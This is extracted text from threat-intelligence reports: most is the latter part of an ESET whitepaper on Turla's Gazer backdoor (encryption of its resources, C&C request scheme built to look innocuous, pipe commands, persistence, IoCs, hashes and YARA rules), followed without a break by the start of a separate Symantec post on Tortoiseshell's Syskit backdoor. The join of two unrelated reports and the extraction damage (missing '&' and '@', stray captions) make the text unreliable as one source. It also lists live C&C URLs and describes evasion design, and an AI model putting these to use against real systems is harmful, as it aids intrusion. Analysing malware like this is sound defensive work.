File format There are a total of 11 resources (101 to 111) each structured in the following way: [DATATYPE][SIZE][DATA][PADDING] DATATYPE: A dword that specifies the type of data in the resource 0x0: raw data 0xFFFFFFFF: empty 0x4: undefined 0x1030001: strings array 0x1: binary SIZE: the size of the data (without padding) Encryption Except for resources 101 and 102 which are RSA keys, every resource is compressed with BZip and encrypted with 3DES.
[
RSAEncryptedBlob][SignatureBlob][3DESBlob] RSAEncryptedBlob: The first 1024 bits of the data is a blob that contains a 3DES key.
This blob is encrypted using RSA and can be decrypted using resource 101.
SignatureBlob: The second part of the data is a blob of 1024 bits containing the signature of the last part of the data once decrypted.
3DESBlob: The last part is the effective data, which is encrypted with the 3DES key from the first blob.
Each resource is decrypted on the fly the signature is compared with the decrypted data to check the integrity.
Decrypted resources that pass this integrity check are encrypted with a new RSA key generated randomly by the orchestrator code.
The private key and the encrypted resource are then stored in the registry under a specific GUID subkey.
Gazing at Gazer Turlas new second stage backdoor 15 Resources listing 101: RSA private key.
It is used to decrypt the other resources.
102: an RSA public key.
103: empty 104: unknown 105: store the persistency information 106:  the list of processes to use to try to inject the communications module 107: CC communication DLL 108: CC server list 109: Gazer working directory path 110: plugins list 111: local transport information Task Execution When a task is retrieved from the CC, it is either executed by the infected machine or by another computer on the same network through a P2P mechanism (in the same way this was done in Carbon and Snake).
The task can be: file upload file download configuration update command execution The result of the task is stored in a queue and forwarded to the module that communicates with the CC server when access to the Internet is available.
Classes Hierarchy The malware is written in C and the RTTI that contains information about the objects used in the code is not overwritten.
There are 5 abstract classes that have several implementations.
Table 1.
Abstract Class Autorun Class Name LinkAutorun StartupAutorun ShellAutorun ScreenSaverAutorun TaskSchedulerAutorun HiddenTaskAutorun https://en.wikipedia.org/wiki/Run-time_type_information Gazing at Gazer Turlas new second stage backdoor 16 Table 2.
Abstract Class Queue Class Name TaskQueue ResultQueue Table 3.
Abstract Class Storage Class Name ExeStorage FSStorage RegStorage Table 4.
Abstract Class TListenerInterface Class Name LTMessageProcessing CMessageProcessingSystem Table 5.
Abstract Class TAbstractTransport Class Name LTNamedPipe TNPTransport Communication Module The communication module is used to retrieve tasks from the CC server and to dispatch them to the orchestrator.
This library is injected into a process which can legitimately communicate over the Internet.
The injection library is the same as the one found in the loader to inject the orchestrator into explorer.exe.
Communication Initialization If a proxy server exists, it is retrieved and used by Gazer to make the HTTP requests.
There are two different methods used to retrieve this value, either by requesting the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings or through the function InternetQueryOption with the flag INTERNET_OPTION_PROXY if the proxy server cannot be retrieved through the registry.
The system user agent is then set up: the default value of the HKCU\Software\Microsoft\Windows\Current Version\ Internet Settings\User Agent key is retrieved Gazing at Gazer Turlas new second stage backdoor 17 the value keys under HKLM\Software\Microsoft\Windows\Current Version\Internet Settings\5.0\User Agent\Post Platform are enumerated and those that contain the sub-string IEAK are concatenated with the user agent string from the previous step in the case that no user agent was found in the registry, the hardcoded UA Mozilla/4.0 (compatible MSIE 6.0) is used Before attempting any contact with the CC server, the internet connection is checked by trying to reach the following servers one by one until one returns a HTTP status code 200: update.microsoft.com microsoft.com windowsupdate.microsoft.com yahoo.com google.com CC server communication The malware communicates with its CC server to retrieve tasks (through HTTP GET requests) and to send the tasks results (through HTTP POST requests).
Before sending a request to the CC, the command CMC_GIVE_SETTINGS is sent to the orchestrator through its communication channel (a named pipe, more on this in the next section).
The message (MSG) contained in the packet in this case is a single byte set by the orchestrator for the command result status.
The orchestrator replies on the same channel with the settings retrieved from the working directory with the object id, the list of the CC servers and the last connection date.
A GET request is performed to retrieve a task from the CC.
The parameters of the GET request are chosen from amongst a hardcoded list of keywords that does not look suspicious.
Their values are generated randomly in the charset [a-z0-9] with a random size from a range given for each parameter: id [6-12] (As with all other parameters, if this parameter is used in the request, it will have a random value (of letters and digits) with a random size between 6 and 12 characters.)
hash [10-15] session [10-15] photo [6-10] video [6-10] album [6-10] client [5-10] key [5-10] account [6-12] member [6-12] partners [5-10] adm [6-12] author [6-12] Gazing at Gazer Turlas new second stage backdoor 18 contact [6-12] content [6-12] user [6-12] Here are few examples of such requests: xxx.php?album2ildzqkeyhdr2apartnersd2lic33fsessionnurvxd2x0z8bztzvideo sg508tujmphoto4d4idgkxxx.php?photohe29zms5fcuserhvbc2aauthorxvfj5r0q 9cclient7mvvcpartnerst4mgmuyadmlo3r6v4xxx.php?memberectwzo820contact 2qwi15albumf1qzoxuef4sessionx0z8bztz8hrs65fidt3x0ftu9xxx.php?partners ha9hz9sn12hash5740kptk3acmualbumuef4nm5dsessiondpeb67ip65fmemberarj6 x3ljjxxx.php?videonfqsz570client28c7lu2partners818eguh70contactibj3xch content1udm9t799ixrsession5fjjt61qred9uo A timeout of 10 minutes is set for each request (send/receive/connect) through InternetSetOption.
Once the request is sent, the response is handled only if the returned HTTP status code is 404.
The content of the response is encrypted and can be decrypted with the private RSA key generated by the orchestrator.
The response body contains a blob of data and an MD5 hash of the data.
The blob is hashed and compared to the MD5 to ensure the integrity of the servers response.
If the response size is 20 bytes (a blob of 4 bytes  the hash), there are no tasks to retrieve.
A command CMC_TAKE_TASK is sent to the orchestrator with the encrypted task received from the CC server and its size.
The orchestrator will be in charge of executing the task and will send the results to the communication module.
Once the blob of the tasks results (encrypted by the orchestrator) is received, it is sent to the CC server through a POST request in the same way that it was done for the GET request (using parameters with random values).
Messages between components A global named pipe is used for the communication between the different components.
The data sent through this named pipe is formatted in the following way: 0 31 48 MSGDatatype ID_CMD Figure 3.
Message format DATATYPE: the same constants are used for the resources (check the File Format entry in the Resources section) ID_CMD: the command name (check below for a complete list) MSG: the data to be sent Here is a listing of the different commands: CMC_TAKE_TASK (ID_CMD: 1) When a task is retrieved by the CC server module, it is sent to the orchestrator, which stores the task in the task queue.
CMC_TAKE_LOADER_BODY (ID_CMD: 2) Gazing at Gazer Turlas new second stage backdoor 19 Wipe Gazers original loader file, clean persistency and set up a copy of the loader and its persistency according to one of the resources (check persistency part for details).
CMC_GIVE_RESULT (ID_CMD: 4) When this message is received, the orchestrator will retrieve the tasks result from the result queue, compress and encrypt it using the servers public RSA key (the one from the resource 102) and send the blob to the communication module which will send the whole result to the server through a POST request.
CMC_GIVE_SETTINGS (ID_CMD: 5) The communication module sends this message to the orchestrator to request the information needed to contact the server (list of the servers to contact, the last connection time and the victim ID).
CMC_TAKE_CONFIRM_RESULT (ID_CMD: 6) When the communication module sends a tasks result to the server, a message is sent to the orchestrator that will remove the tasks result from the queue.
CMC_TAKE_CAN_NOT_WORK (ID_CMD: 7) When an operation has failed (for example, if the communication module cannot correctly parse the data received from the orchestrator), this message is sent to the orchestrator with the last error code.
The error code will be added to the logfile.
CMC_TAKE_UNINSTALL (ID_CMD: 8) Used to wipe a file from the disk.
CMC_TAKE_NOP (ID_CMD: 9) No operation CMC_NO_CONNECT_TO_GAZER (ID_CMD: 0xA) This command is sent to the orchestrator when the communication module cannot contact any of the servers.
In this case, if a pending tasks results are in the queue, they are stored encrypted in Gazers storage.
CMC_TAKE_LAST_CONNECTION (ID_CMD: 0xB) This command is sent from the communication module to the orchestrator each time a connection is established to the CC server.
It contains a structure SystemTime (filled with the current system time).
Once the message is received by the orchestrator, the last connection date is stored compressed and encrypted in the Gazer storage (either the registry or ADS).
CMC_GIVE_CACHE / CMC_TAKE_CACHE (ID_CMD: 0xC / 0xD) Not implemented Gazing at Gazer Turlas new second stage backdoor 20 Gazer verSIonS Four different versions have been identified.
In the first version, the function used to write logs has as its parameter the real function name where the log occurs.
There were also different methods used to inject code (the one documented in this whitepaper and one based on window injection).
In a second version, the function names used as parameters are replaced by an ID and only one method is used for code injection.
Also, the string NO OLD METHODS appears in this part of the code.
Some samples from the first versions were signed with a valid certificate issued by Comodo for Solid Loop Ltd.
The compilation date appears to be 2002 but is likely to be faked because the certificate was issued in 2015.
The latest versions are signed with a different certificate: Ultimate Computer Support Ltd.
Figure 4.
Certificates used to sign the malware variants Some efforts have been made to obfuscate strings that can be used as IoCs.
The mutex name and the named pipe do not appear in cleartext anymore they are now encoded with a XOR key.
On the previous versions, the logfile names were hardcoded in the binary.
The function GetTempFileNameA is now used to generate a random filename.
The CC server returns a 404 or 502 status code page, whereas it was only a 404 in the previous versions.
In the latest versions compiled in 2017, the log messages are different (although they have the same meaning).
For example: PE STORAGE is replaced by EXE SHELTER, PE CRYPTO by EXE CIPHER etc Last but not least, the compilation timestamp seems not to be faked anymore.
In conclusion, Gazer is a very sophisticated piece of malware that has been used against different targets in several countries around the world.
Through the different versions we found and analyzed, we can see that this malicious backdoor is still being actively developed and used by its creators.
Indicators of Compromise can also be found on github.
For any inquiries, or to make sample submissions related to the subject, contact us at: threatinteleset.com.
https://github.com/eset/malware-ioc/tree/master/turla mailto:threatinteleset.com Gazing at Gazer Turlas new second stage backdoor 21 IoCS Filenames TEMP\KB943729.log TEMP\CVRG72B5.tmp.cvr TEMP\CVRG1A6B.tmp.cvr TEMP\CVRG38D9.tmp.cvr TEMP\DF1E06.tmp HOMEPATH\ntuser.dat.
LOG3 HOMEPATH\AppData\Local\Adobe\AdobeUpdater.exe Registry keys HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ScreenSaver HKCU\Software\Microsoft\Windows NT\CurrentVersion\Explorer\ScreenSaver CC URLs daybreakhealthcare.co.uk/wp-includes/themees.php simplecreative.design/wp-content/plugins/calculated-fields-form/single.php 169.255.137.203/rss_0.php outletpiumini.springwaterfeatures.com/wp-includes/pomo/settings.php zerogov.com/wp-content/plugins.deactivate/paypal-donations/src/PaypalDonations/SimpleSubsribe.
php ales.ball-mill.es/ckfinder/core/connector/php/php4/CommandHandler/CommandHandler.php dyskurs.com.ua/wp-admin/includes/map-menu.php warrixmalaysia.com.my/wp-content/plugins/jetpack/modules/contact-form/grunion-table-form.php 217.171.86.137/config.php 217.171.86.137/rss_0.php shinestars-lifestyle.com/old_shinstar/includes/old/front_footer.old.php www.aviasiya.com/murad.by/life/wp-content/plugins/wp-accounting/inc/pages/page-search.php baby.greenweb.co.il/wp-content/themes/san-kloud/admin.php soligro.com/wp-includes/pomo/db.php giadinhvabe.net/wp-content/themes/viettemp/out/css/class.php tekfordummies.com/wp-content/plugins/social-auto-poster/includes/libraries/delicious/Delicious.php kennynguyen.esy.es/wp-content/plugins/wp-statistics/vendor/maxmind-db/reader/tests/MaxMind/Db/ test/Reader/BuildTest.php sonneteck.com/wp-content/plugins/yith-woocommerce-wishlist/plugin-fw/licence/templates/panel/ activation/activation.php chagiocaxuanson.esy.es/wp-content/plugins/nextgen-gallery/products/photocrati_nextgen/modules/ ngglegacy/admin/templates/manage_gallery/gallery_preview_page_field.old.php hotnews.16mb.com/wp-content/themes/twentysixteen/template-parts/content-header.php zszinhyosz.pe.hu/wp-content/themes/twentyfourteen/page-templates/full-hight.php weandcats.com/wp-content/plugins/broken-link-checker/modules/checkers/http-module.php Mutexes 531511FA-190D-5D85-8A4A-279F2F592CC7 Gazing at Gazer Turlas new second stage backdoor 22 Hashes Table 6.
Gazer sample hashes SHA1 hash Component Compilation Time Certificate Eset Detection Name 27FA78DE705EbAA4b11C4b5FE7277F91906b3F92 Gazer wiper x32 07/04/2016 15:04:24 not signed Win32/Turla.
CL 35F205367E2E5F8A121925bbAE6FF07626b526A7 Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC b151CD7C4F9E53A8DCbDEb7CE61CCDD146Eb68Ab Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC E40bb5bEEC5678537E8FE537F872b2AD6b77E08A Gazer loader x32 05/02/2002 17:36:10 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 522E5F02C06AD215C9D0C23C5A6A523D34AE4E91 Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA C380038A57FFb8C064851b898F630312FAbCbbA7 Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 267F144D771b4E2832798485108DECD505Cb824A Gazer loader x64 05/02/2002 17:36:26 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 52F6D09CCCDbC38D66C184521E7CCF6b28C4b4D9 Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 475C59744ACCb09724DAE610763b7284646Ab63F Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 22542A3245D52b7bCDb3EAEF5b8b2693F451F497 Gazer loader x32 04/10/2002 18:31:37 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC 2b9FAA8b0FCADAC710C7b2b93D492FF1028b5291 Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA E05Ab6978C17724b7C874F44F8A6CbFb1C56418D Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA 6DEC3438D212b67356200bbAC5EC7FA41C716D86 Gazer loader x64 04/10/2002 18:34:18 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AA b548863DF838069455A76D2A63327434C02D0D9D Gazer loader x64 09/01/2016 19:30:10 not signed Win64/Turla.
AA C3E6511377DFE85A34E19b33575870DDA8884C3C Gazer loader x64 06/02/2016 19:29:15 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA 9FF4F59CA26388C37D0b1F0E0b22322D926E294A Gazer loader x64 16/02/2016 16:00:44 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz Gazing at Gazer Turlas new second stage backdoor 23 SHA1 hash Component Compilation Time Certificate Eset Detection Name 029AA51549D0b9222Db49A53D2604D79AD1C1E59 Gazer loader x64 18/02/2016 15:29:58 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AA CECC70F2b2D50269191336219A8F893D45F5E979 Gazer loader x64 01/01/2017 08:39:30 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AG 7FAC4FC130637AFAb31C56CE0A01E555D5DEA40D Gazer loader x64 11/06/2017 23:43:51 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AD 5838A51426CA6095b1C92b87E1bE22276C21A044 Gazer loader x32 19/06/2017 01:28:51 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win32/Turla.
CF 3944253F6b7019EED496FAD756F4651bE0E282b4 Gazer loader x64 19/06/2017 01:30:00 admin ultimatecomsup.biz valid from 16/12/2015 to 16/12/2017 Win64/Turla.
AD 228DA957A9ED661E17E00EFbA8E923FD17FAE054 Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF 295D142A7bDCED124FDCC8EDFE49b9F3ACCEAb8A Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF 0F97F599FAb7F8057424340C246D3A836C141782 Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CF Dbb185E493A0FDC959763533D86D73F986409F1b Gazer orchestrator x32 05/02/2002 17:31:28 not signed Win32/Turla.
CC 4701828DEE543b994ED2578b9E0D3991F22bD827 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA 6FD611667bA19691958b5b72673b9b802EDD7FF8 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA FCAbEb735C51E2b8Eb6Fb07bDA8b95401D069bD8 Gazer orchestrator x64 05/02/2002 17:34:25 not signed Win64/Turla.
AA 75831DF9CbCFD7bF812511148D2A0F117324A75F Gazer orchestrator x32 04/10/2002 18:31:28 not signed Win32/Turla.
CC bAE3AE65C32838Fb52A0F5AD2CDE8659D2bFF9F3 Gazer orchestrator x32 04/10/2002 18:31:28 not signed Win32/Turla.
CC 37FF6841419ADC51EEb8756660b2Fb46F3Eb24ED Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 9E6DE3577b463451b7AFCE24Ab646EF62AD6C2bD Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 795C6EE27b147FF0A05C0477F70477E315916E0E Gazer orchestrator x64 04/10/2002 18:33:02 not signed Win64/Turla.
AA 8184AD9D6bbD03E99A397F8E925FA66CFbE5CF1b Gazer orchestrator x64 09/01/2016 19:28:29 not signed Win64/Turla.
AA 7CED96b08D7593E28FEE616ECCbC6338896517CF Gazer orchestrator x64 06/02/2016 19:29:04 not signed Win64/Turla.
AA 63C534630C2CE0070AD203F9704F1526E83AE586 Gazer orchestrator x64 06/02/2016 19:29:04 not signed Win64/Turla.
AA 23F1E3bE3175D49E7b262CD88CFD517694DCbA18 Gazer orchestrator x64 18/02/2016 15:29:32 not signed Win64/Turla.
AA mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz mailto:adminultimatecomsup.biz Gazing at Gazer Turlas new second stage backdoor 24 SHA1 hash Component Compilation Time Certificate Eset Detection Name 7A6F1486269AbDC1D658Db618DC3C6F2AC85A4A7 Gazer orchestrator x64 01/01/2017 08:39:19 not signed Win64/Turla.
AG 11b35320Fb1CF21D2E57770D8D8b237Eb4330EAA Gazer orchestrator x64 11/06/2017 23:42:28 not signed Win64/Turla.
AD E8A2bAD87027F2bF3ECAE477F805DE13FCCC0181 Gazer orchestrator x32 19/06/2017 01:28:21 not signed Win32/Turla.
CF 950F0b0C7701835C5FbDb6C5698A04b8AFE068E6 Gazer orchestrator x64 19/06/2017 01:29:46 not signed Win64/Turla.
AD A5EEC8C6AADF784994bF68D9D937bb7AF3684D5C Gazer comm x64 05/02/2002 17:57:07 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win64/Turla.
AH 411EF895FE8DD4E040E8bF4048F4327F917E5724 Gazer comm x32 05/02/2002 17:58:22 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CC C1288DF9022bCD2C0A217b1536DFA83928768D06 Gazer comm x32 06/02/2016 19:23:52 not signed Win32/Turla.
CC 4b6EF62D5D59F2FE7F245DD3042DC7b83E3CC923 Gazer comm x32 11/06/2017 23:44:24 not signed Win32/Turla.
CF 7F54F9F2A6909062988AE87C1337F3CF38D68D35 Gazer wiper x32 05/02/2002 17:39:07 adminsolidloop.org valid from 14/10/2015 to 14/10/2016 Win32/Turla.
CL mailto:adminsolidloop.org mailto:adminsolidloop.org mailto:adminsolidloop.org Gazing at Gazer Turlas new second stage backdoor 25 appendICeS Function names There are a few samples of Gazer that use the current function name as first parameter for the log function.
Here is a list of some function names used in Gazer: AutorunManager Class AutorunManager::AutorunManger AutorunManager::Init AutorunManger::ReInit AutorunManager::BuildAutorunSettings AutorunManager::FreeAutorunsSettings AutorunManager::FullCheck AutorunManager::StartAutorunEx AutorunManager::FullStart HiddenTaskAutorun Class HiddenTaskAutorun::IsPathsEqual LinkAutorun Class LinkAutorunClass::InfectLnkFile LinkAutorunClass::ClearLnkFile LinkAutorunClass::CheckLnkFile RemoteImport32 Class RemoteImport32::RemoteImport32 RemoteImport32::GetRemoteProcAddress RemoteImport32::GetRemoteModuleHandle ScreenSaverAutorun Class ScreenSaverAutorun::ChangeScreenSaver ScreenSaverAutorun::WndProc1 ScreenSaverAutorun::GetMessageThreadProc ScreenSaverAutorun::CreateHiddenWindow ScreenSaverAutorun::CloseHiddenWindow ShellAutorun Class ShellAutorun::AutorunInstallEx ShellAutorun::AutorunUninstallEx ShellAutorun::AutorunCheckEx ShellAutorun::IsPathsEqual StartupAutorun Class StartupAutorun::AutorunInstallEx StartupAutorun::AutorunUninstallEx StartupAutorun::AutorunCheckEx StartupAutorun::IsPathsEqual TaskScheduler20Autorun Class TaskScheduler20Autorun::Init TaskScheduler20Autorun::AutorunCheckEx TaskScheduler20Autorun::AutorunInstallEx TaskScheduler20Autorun::AutorunUninstallEx TaskScheduler20Autorun::IsPathsEqual Gazing at Gazer Turlas new second stage backdoor 26 DllInjector Class DllInjector::LoadDllToProcess DllInjector::GetProcHandle DllInjector::CheckDllAndSetPlatform DllInjector::CopyDllFromBuffer DllInjector::MapLibrary DllInjector::Map86Library_tox64 DllInjector::CallEntryPoint DllInjector::FindDllImageBase DllInjector::WindowInject InjectManager Class InjectManager::InjectManager InjectManager::BuildInjectSettingsList InjectManager::FreeInjectSettingsList InjectManager::Stop InjectManager::DetachAll InjectManager::FindAndInjectInVictim InjectManager::FindProcessSimple2 InjectManager::LoadNtdll InjectManager::UnLoadNtdll InjectManager::LoadWinsta InjectManager::UnLoadWinsta InjectManager::SetStatusTransportDll InjectManager::GetTransportState InjectManager::DestroyManuallyCreatedVictim InjectManager::VictimManualCreateIE TNPTransport Class TNPTransport::Init TNPTransport::ReInit TNPTransport::TNPTransport TNPTransport::Receive TNPTransport::RunServer TNPTransport::ServerProc ExeStorage Class ExeStorage::Migrate ExeStorage::SecureHeapFree FSStorage Class FSStorage::FSStorage FSStorage::Init FSStorage::GetBlock FSStorage::GetListBlock FSStorage::Migrate FSStorage::SecureHeapFree FSStorage::Update FSStorage::Empty RegStorage Class RegStorage::RegStorage RegStorage::Init RegStorage::FreeList Gazing at Gazer Turlas new second stage backdoor 27 RegStorage::GetListBlock RegStorage::DeleteListBlock RegStorage::Migrate RegStorage::SecureHeapFree RegStorage::Update RegStorage::Empty ResultQueue Class ResultQueue::ResultQueue ResultQueue::DumpQueueToStorage ResultQueue::RestoreFromStorage ResultQueue::ClearQueue ResultQueue::RemoveResult ResultQueue::GetNextResultToSendWithModule ResultQueue::SetPredeterminedResult ResultQueue::print TaskQueue Class TaskQueue::TaskQueue TaskQueue::DumpQueueToStorage TaskQueue::RestoreFromStorage TaskQueue::ClearQueue TaskQueue::RemoveCompletedTasks TaskQueue::print CExecutionSubsystem Class CExecutionSubsystem::CExecutionSubsystem CExecutionSubsystem::Stop CExecutionSubsystem::TaskExecusion CExecutionSubsystem::TaskConfigure CExecutionSubsystem::TaskUpload CExecutionSubsystem::TaskDownload CExecutionSubsystem::TaskReplacement CExecutionSubsystem::TaskDelete CExecutionSubsystem::TaskPacketLocalTransport CExecutionSubsystem::FinishTask CExecutionSubsystem::PushTaskResult CExecutionSubsystem::UpdateStorage CMessageProcessingSystem Class CMessageProcessingSystem::CMessageProcessing CMessageProcessingSystem::ListenerCallBack CMessageProcessingSystem::WaitShutdownModule CMessageProcessingSystem::SetCompulsorySMC CMessageProcessingSystem::UnSetCompulsorySMC CMessageProcessingSystem::IsCompulsorySMC CMessageProcessingSystem::GetCompulsorySMC CMessageProcessingSystem::Receive_TAKE_NOP CMessageProcessingSystem::Receive_GIVE_SETTINGS CMessageProcessingSystem::Receive_TAKE_CAN_NOT_WORK CMessageProcessingSystem::Receive_GIVE_CACHE CMessageProcessingSystem::Receive_TAKE_CACHE CMessageProcessingSystem::Receive_TAKE_TASK CMessageProcessingSystem::Receive_GIVE_RESULT Gazing at Gazer Turlas new second stage backdoor 28 CMessageProcessingSystem::Receive_TAKE_CONFIRM_RESULT CMessageProcessingSystem::Receive_TAKE_LOADER_BODY CMessageProcessingSystem::Receive_TAKE_UNINSTALL CMessageProcessingSystem::Receive_NO_CONNECT_TO_Gazer CMessageProcessingSystem::Receive_TAKE_LAST_CONNECTION CMessageProcessingSystem::Send_TAKE_FIN CMessageProcessingSystem::Send_TAKE_SHUTDOWN CMessageProcessingSystem::Send_TAKE_SETTINGS CMessageProcessingSystem::Send_TAKE_RESULT Crypto Class Crypto::GetPublicKey Crypto::EncryptRSA Crypto::Sign Crypto::EncryptAndSignBufferRSAEx Crypto::DecryptRSA Crypto::Verify Crypto::DecryptAndVerifyBufferRSAEx Crypto::EncryptAndSignBufferRSA1 Crypto::EncryptAndSignBufferRSAC Crypto::DecryptAndVerifyBufferRSA0 Crypto::DecryptAndVerifyBufferRSA1 Crypto::DecryptAndVerifyBufferRSAL Crypto::VerifyLoaderFile Crypto::VerifyLoader Crypto::CompressBuffer Crypto::DecompressBuffer LTManager Class LTManager::LTManager LTManager::Init LTManager::GetResultFromQueue LTManager::SetResultToCache LTManager::GetTaskFromCache LTManager::SetTaskToQueue LTManager::IsSendPacketFurtherOnRoute LTManager::SendPacketNextRouteUnit LTManager::SetCache LTManager::SetPacket LTManager::DumpCacheToStorage LTManager::DeSerializeCache LTManager::DeSerializePacket LTManager::DeSerializeRoute LTManager::DeSerializeTask LTManager::DeSerializeResult LTManager::SerializeCache LTManager::SerializePacket LTManager::SerialiazeRoute LTManager::SerializeTask LTManager::SerializeResult LTManager::ClearCache LTManager::ClearPacket LTManager::ClearRoute Gazing at Gazer Turlas new second stage backdoor 29 LTManager::ClearTask LTManager::ClearResult LTManager::PrintCache LTManager::CreateEvents LTManager::SetEvents LTManager::ResetEvents LTManager::WaitEvents LTManager::DeleteEvents LTMessageProcessing Class LTMessageProcessing::ListenerCallBack LTMessageProcessing::Send_TAKE_OK LTMessageProcessing::Send_TAKE_ERROR_CRYPT LTMessageProcessing::Send_TAKE_ERROR_UNKNOWN LTNamedPipe Class LTNamedPipe::ReInit LTNamedPipe::BuildLocalTransportSettings LTNamedPipe::LTNamedPipe LTNamedPipe::Receive LTNamedPipe::RunServer LTNamedPipe::Stop LTNamedPipe::CreateNewNPInstance LTNamedPipe::ServerProc LTNamedPipe::ClientCommunication Yara rules import pe import math import hash rule Gazer_certificate_subject condition: for any i in (0..pe.number_of_signatures - 1): (pe.signatures[i].subject contains Solid Loop or pe.signatures[i].subject contains Ultimate Computer Support)  rule Gazer_certificate  strings: certif1  52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02 certif2  12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c condition: (uint16(0)  0x5a4d) and 1 of them and filesize  2MB  rule Gazer_logfile_name  strings: s1  CVRG72B5.tmp.cvr s2  CVRG1A6B.tmp.cvr s3  CVRG38D9.tmp.cvr condition: (uint16(0)  0x5a4d) and 1 of them  _GoBack Table 1.Abstract Class Autorun Table 2.Abstract Class Queue Table 3.Abstract Class Storage Table 4.Abstract Class TListenerInterface Table 5.Abstract Class TAbstractTransport Table 6.Gazer sample hashes Figure 1.Turla authors sense of humor Figure 2.Gazer architecture Figure 3.Message format Figure 4.Certificates used to sign the malware variants
Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain A previously undocumented attack group is using both custom and off-the-shelf malware to target IT providers in Saudi Arabia in what appear to be supply chain attacks with the end goal of compromising the IT providers customers.
The group, which we are calling Tortoiseshell, has been active since at least July 2018.
Symantec has identified a total of 11 organizations hit by the group, the majority of which are based in Saudi Arabia.
In at least two organizations, evidence suggests that the attackers gained domain admin-level access.
Tortoiseshell group uses custom malware, off-the-shelf tools, livingofftheland techniques to compromise victims https://symc.ly/2lV4Ovn Another notable element of this attack is that, on two of the compromised networks, several hundred computers were infected with malware.
This is an unusually large number of computers to be compromised in a targeted attack.
It is possible that the attackers were forced to infect many machines before finding those that were of most interest to them.
We have seen Tortoiseshell activity as recently as July 2019.
Custom tools 1/5 https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain The unique component used by Tortoiseshell is a malware called Backdoor.
Syskit.
This is a basic backdoor that can download and execute additional tools and commands.
The actors behind it have developed it in both Delphi and .NET.
Backdoor.
Syskit is run with the -install parameter to install itself.
There are a number of minor variations of the backdoor, but the primary functionality is the following: reads config file: Windir\temp\rconfig.xml writes Base64 encoding of AES encrypted (with key fromhere) version of the data in the url element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Enablevmd This contains the command and control (CC) information.
writes Base64 encoding of AES encrypted (with key fromhere) version of the result element of the XML to: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\policies\system\Sendvmd This holds the later portion of the URL to append to the CC for sending information to it.
deletes the config file The malware collects and sends the machines IP address, operating system name and version, and Mac address to the CC server using the URL in the Sendvmd registry key mentioned above.
Data sent to the CC server is Base64 encoded.
The backdoor can receive various commands: kill_me: stops the dllhost service and deletes Windir\temp\bak.exe upload downloads from the URL provided by the CC server unzip uses PowerShell to unzip a specified file to a specified destination, or to run cmd.exe /c received command Tools, techniques, and procedures The other tools used by the group are public tools, and include: Infostealer/Sha.exe/Sha432.exe Infostealer/stereoversioncontrol.exe get-logon-history.ps1 2/5 https://www.symantec.com/content/symantec/english/en/security-center/writeup.html/2019-082613-5549-99 Infostealer/stereoversioncontrol.exe downloads a RAR file, as well as the get-logon- history.ps1 tool.
It runs several commands on the infected machine to gather information about it and also the Firefox data of all users of the machine.
It then compresses this information before transferring it to a remote directory.
Infostealer/Sha.exe/Sha432.exe operates in a similar manner, gathering information about the infected machine.
We also saw Tortoiseshell using other dumping tools and PowerShell backdoors.
